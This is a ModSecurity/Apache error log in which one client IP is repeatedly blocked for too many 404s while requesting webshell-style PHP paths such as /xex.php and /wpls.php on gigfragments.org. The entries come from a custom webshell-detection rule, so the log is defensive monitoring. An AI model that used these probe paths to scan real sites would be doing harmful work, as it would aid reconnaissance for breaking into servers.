[Sun Jan 04 22:15:08.236519 2026] [:error] [pid 45950:tid 45990] [client 4.241.234.12:15296] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/suy.php"] [unique_id "aVp17Fx-3HUGZIlAI-5R5QAAA4g"]
[Sun Jan 04 22:15:08.510007 2026] [:error] [pid 48727:tid 48772] [client 4.241.234.12:15406] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/suy.php"] [unique_id "aVp17PgJtUs-E_QT0ibZ4wAAA08"]
[Sun Jan 04 22:15:08.850190 2026] [:error] [pid 42666:tid 42699] [client 4.241.234.12:15383] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/giclass.php"] [unique_id "aVp17Pc221c7vwWrOjcVWQAAAwI"]
[Sun Jan 04 22:15:09.210100 2026] [:error] [pid 29351:tid 29403] [client 4.241.234.12:15315] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/giclass.php"] [unique_id "aVp17ZtGiMsRmNcKXvpHegAAAtM"]
[Sun Jan 04 22:15:09.642891 2026] [:error] [pid 48667:tid 48711] [client 4.241.234.12:15328] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/giclass.php"] [unique_id "aVp17XO6aihVIlrNAPj4HQAAAQ4"]
[Sun Jan 04 22:15:09.887918 2026] [:error] [pid 42666:tid 42718] [client 4.241.234.12:15274] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/giclass.php"] [unique_id "aVp17fc221c7vwWrOjcVWgAAAxU"]
[Sun Jan 04 22:15:10.188892 2026] [:error] [pid 45863:tid 45878] [client 4.241.234.12:15369] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhitrgp.php"] [unique_id "aVp17lGr1mgeue1bWvTYKwAAAA0"]
[Sun Jan 04 22:15:10.703416 2026] [:error] [pid 45863:tid 45888] [client 4.241.234.12:15181] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhitrgp.php"] [unique_id "aVp17lGr1mgeue1bWvTYLAAAABc"]
[Sun Jan 04 22:15:10.987850 2026] [:error] [pid 45950:tid 45991] [client 4.241.234.12:15518] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhitrgp.php"] [unique_id "aVp17lx-3HUGZIlAI-5R7AAAA4k"]
[Sun Jan 04 22:15:11.406653 2026] [:error] [pid 45950:tid 45993] [client 4.241.234.12:15562] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhitrgp.php"] [unique_id "aVp171x-3HUGZIlAI-5R7gAAA4s"]
[Sun Jan 04 22:15:11.878316 2026] [:error] [pid 48633:tid 48643] [client 4.241.234.12:15422] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nas.php"] [unique_id "aVp173pmEoQIuLH2aWhIHgAAAEg"]
[Sun Jan 04 22:15:12.211205 2026] [:error] [pid 48633:tid 48656] [client 4.241.234.12:15470] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nas.php"] [unique_id "aVp18HpmEoQIuLH2aWhIHwAAAFU"]
[Sun Jan 04 22:15:12.477461 2026] [:error] [pid 48633:tid 48637] [client 4.241.234.12:15318] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nas.php"] [unique_id "aVp18HpmEoQIuLH2aWhIIAAAAEI"]
[Sun Jan 04 22:15:12.835514 2026] [:error] [pid 30985:tid 31036] [client 4.241.234.12:15182] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nas.php"] [unique_id "aVp18EisiM0XfzVcTWC0jQAAAdY"]
[Sun Jan 04 22:15:13.214689 2026] [:error] [pid 48633:tid 48649] [client 4.241.234.12:15338] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reyha.php"] [unique_id "aVp18XpmEoQIuLH2aWhIIwAAAE4"]
[Sun Jan 04 22:15:13.567166 2026] [:error] [pid 48727:tid 48763] [client 4.241.234.12:15271] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reyha.php"] [unique_id "aVp18fgJtUs-E_QT0ibZ6gAAA0Y"]
[Sun Jan 04 22:15:13.824956 2026] [:error] [pid 45949:tid 45974] [client 4.241.234.12:15334] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reyha.php"] [unique_id "aVp18aWUhIYCdxgkhpBQDAAAAhQ"]
[Sun Jan 04 22:15:29.211848 2026] [:error] [pid 45949:tid 45966] [client 4.241.234.12:15325] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ink.php"] [unique_id "aVp2AaWUhIYCdxgkhpBQGgAAAgw"]
[Sun Jan 04 22:15:29.612690 2026] [:error] [pid 48633:tid 48645] [client 4.241.234.12:15424] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ink.php"] [unique_id "aVp2AXpmEoQIuLH2aWhILAAAAEo"]
[Sun Jan 04 22:15:29.946909 2026] [:error] [pid 45863:tid 45885] [client 4.241.234.12:15319] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ink.php"] [unique_id "aVp2AVGr1mgeue1bWvTYMQAAABQ"]
[Sun Jan 04 22:15:30.314540 2026] [:error] [pid 48667:tid 48712] [client 4.241.234.12:15246] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ink.php"] [unique_id "aVp2AnO6aihVIlrNAPj4NAAAAQ8"]
[Sun Jan 04 22:15:30.579068 2026] [:error] [pid 42666:tid 42717] [client 4.241.234.12:15259] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc1.php"] [unique_id "aVp2Avc221c7vwWrOjcVbgAAAxQ"]
[Sun Jan 04 22:15:30.941450 2026] [:error] [pid 48727:tid 48776] [client 4.241.234.12:15280] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc1.php"] [unique_id "aVp2AvgJtUs-E_QT0ibaBQAAA1M"]
[Sun Jan 04 22:15:31.233363 2026] [:error] [pid 48727:tid 48760] [client 4.241.234.12:15262] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc1.php"] [unique_id "aVp2A_gJtUs-E_QT0ibaBgAAA0M"]
[Sun Jan 04 22:15:31.587682 2026] [:error] [pid 30985:tid 31024] [client 4.241.234.12:15247] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc1.php"] [unique_id "aVp2A0isiM0XfzVcTWC0mAAAAco"]
[Sun Jan 04 22:15:32.062916 2026] [:error] [pid 48633:tid 48657] [client 4.241.234.12:15347] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G6.php"] [unique_id "aVp2BHpmEoQIuLH2aWhILQAAAFY"]
[Sun Jan 04 22:15:32.616563 2026] [:error] [pid 30985:tid 31016] [client 4.241.234.12:15275] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G6.php"] [unique_id "aVp2BEisiM0XfzVcTWC0mgAAAcI"]
[Sun Jan 04 22:15:33.028784 2026] [:error] [pid 45863:tid 45871] [client 4.241.234.12:15249] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G6.php"] [unique_id "aVp2BVGr1mgeue1bWvTYNgAAAAY"]
[Sun Jan 04 22:15:33.505785 2026] [:error] [pid 48727:tid 48771] [client 4.241.234.12:15311] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G6.php"] [unique_id "aVp2BfgJtUs-E_QT0ibaCgAAA04"]
[Sun Jan 04 22:15:33.840699 2026] [:error] [pid 48667:tid 48706] [client 4.241.234.12:15302] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xrp.php"] [unique_id "aVp2BXO6aihVIlrNAPj4OAAAAQk"]
[Sun Jan 04 22:15:34.173981 2026] [:error] [pid 45950:tid 45994] [client 4.241.234.12:15421] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xrp.php"] [unique_id "aVp2Blx-3HUGZIlAI-5R9wAAA4w"]
[Sun Jan 04 22:15:34.615366 2026] [:error] [pid 43583:tid 43608] [client 4.241.234.12:15395] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xrp.php"] [unique_id "aVp2BuZbrSRUiJ-RX9ZCgwAAAVM"]
[Sun Jan 04 22:15:34.957440 2026] [:error] [pid 48633:tid 48641] [client 4.241.234.12:15299] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xrp.php"] [unique_id "aVp2BnpmEoQIuLH2aWhILwAAAEY"]
[Sun Jan 04 22:15:35.400604 2026] [:error] [pid 48633:tid 48658] [client 4.241.234.12:15185] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xex.php"] [unique_id "aVp2B3pmEoQIuLH2aWhIMAAAAFc"]
[Sun Jan 04 22:15:35.749621 2026] [:error] [pid 30985:tid 31033] [client 4.241.234.12:15410] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xex.php"] [unique_id "aVp2B0isiM0XfzVcTWC0ngAAAdM"]
[Sun Jan 04 22:15:36.192055 2026] [:error] [pid 45863:tid 45886] [client 4.241.234.12:15336] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xex.php"] [unique_id "aVp2CFGr1mgeue1bWvTYPAAAABU"]
[Sun Jan 04 22:15:36.487113 2026] [:error] [pid 43583:tid 43610] [client 4.241.234.12:15232] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xex.php"] [unique_id "aVp2COZbrSRUiJ-RX9ZChAAAAVU"]
[Sun Jan 04 22:15:36.794655 2026] [:error] [pid 29351:tid 29408] [client 4.241.234.12:14976] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aVp2CJtGiMsRmNcKXvpHewAAAtg"]
[Sun Jan 04 22:15:37.318110 2026] [:error] [pid 45863:tid 45883] [client 4.241.234.12:15263] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aVp2CVGr1mgeue1bWvTYPwAAABI"]
[Sun Jan 04 22:15:37.739129 2026] [:error] [pid 45950:tid 45984] [client 4.241.234.12:15234] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aVp2CVx-3HUGZIlAI-5R_AAAA4I"]
[Sun Jan 04 22:15:38.045962 2026] [:error] [pid 45863:tid 45876] [client 4.241.234.12:15408] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aVp2ClGr1mgeue1bWvTYQAAAAAs"]
[Sun Jan 04 22:15:38.491469 2026] [:error] [pid 29351:tid 29388] [client 4.241.234.12:15239] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tarc.php"] [unique_id "aVp2CptGiMsRmNcKXvpHfQAAAsQ"]
[Sun Jan 04 22:15:38.810125 2026] [:error] [pid 48633:tid 48643] [client 4.241.234.12:15286] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tarc.php"] [unique_id "aVp2CnpmEoQIuLH2aWhINAAAAEg"]
[Sun Jan 04 22:15:39.247528 2026] [:error] [pid 48633:tid 48637] [client 4.241.234.12:15411] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tarc.php"] [unique_id "aVp2C3pmEoQIuLH2aWhINwAAAEI"]
[Sun Jan 04 22:15:39.503222 2026] [:error] [pid 45950:tid 45995] [client 4.241.234.12:15242] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tarc.php"] [unique_id "aVp2C1x-3HUGZIlAI-5SAAAAA40"]
[Sun Jan 04 22:15:39.790685 2026] [:error] [pid 43583:tid 43604] [client 4.241.234.12:15331] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aVp2C-ZbrSRUiJ-RX9ZChQAAAU8"]
[Sun Jan 04 22:15:40.135848 2026] [:error] [pid 45949:tid 45954] [client 4.241.234.12:15253] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aVp2DKWUhIYCdxgkhpBQHQAAAgA"]
[Sun Jan 04 22:15:40.679293 2026] [:error] [pid 43583:tid 43591] [client 4.241.234.12:15245] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aVp2DOZbrSRUiJ-RX9ZChgAAAUI"]
[Sun Jan 04 22:15:41.340278 2026] [:error] [pid 43583:tid 43593] [client 4.241.234.12:15251] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aVp2DeZbrSRUiJ-RX9ZChwAAAUQ"]
[Sun Jan 04 22:15:41.759532 2026] [:error] [pid 29351:tid 29405] [client 4.241.234.12:15468] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lov.php"] [unique_id "aVp2DZtGiMsRmNcKXvpHgQAAAtU"]
[Sun Jan 04 22:15:42.429484 2026] [:error] [pid 48667:tid 48704] [client 4.241.234.12:15254] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lov.php"] [unique_id "aVp2DnO6aihVIlrNAPj4PAAAAQc"]
[Sun Jan 04 22:15:42.721714 2026] [:error] [pid 45949:tid 45974] [client 4.241.234.12:15298] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lov.php"] [unique_id "aVp2DqWUhIYCdxgkhpBQHgAAAhQ"]
[Sun Jan 04 22:15:43.259421 2026] [:error] [pid 48667:tid 48700] [client 4.241.234.12:15178] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lov.php"] [unique_id "aVp2D3O6aihVIlrNAPj4PwAAAQM"]
[Sun Jan 04 22:15:43.735241 2026] [:error] [pid 48667:tid 48702] [client 4.241.234.12:15252] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ppp.php"] [unique_id "aVp2D3O6aihVIlrNAPj4QAAAAQU"]
[Sun Jan 04 22:15:44.068990 2026] [:error] [pid 48667:tid 48699] [client 4.241.234.12:15317] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ppp.php"] [unique_id "aVp2EHO6aihVIlrNAPj4QgAAAQI"]
[Sun Jan 04 22:15:44.485946 2026] [:error] [pid 43583:tid 43603] [client 4.241.234.12:15344] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ppp.php"] [unique_id "aVp2EOZbrSRUiJ-RX9ZCiwAAAU4"]
[Sun Jan 04 22:15:44.807640 2026] [:error] [pid 29351:tid 29397] [client 4.241.234.12:15255] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ppp.php"] [unique_id "aVp2EJtGiMsRmNcKXvpHggAAAs0"]
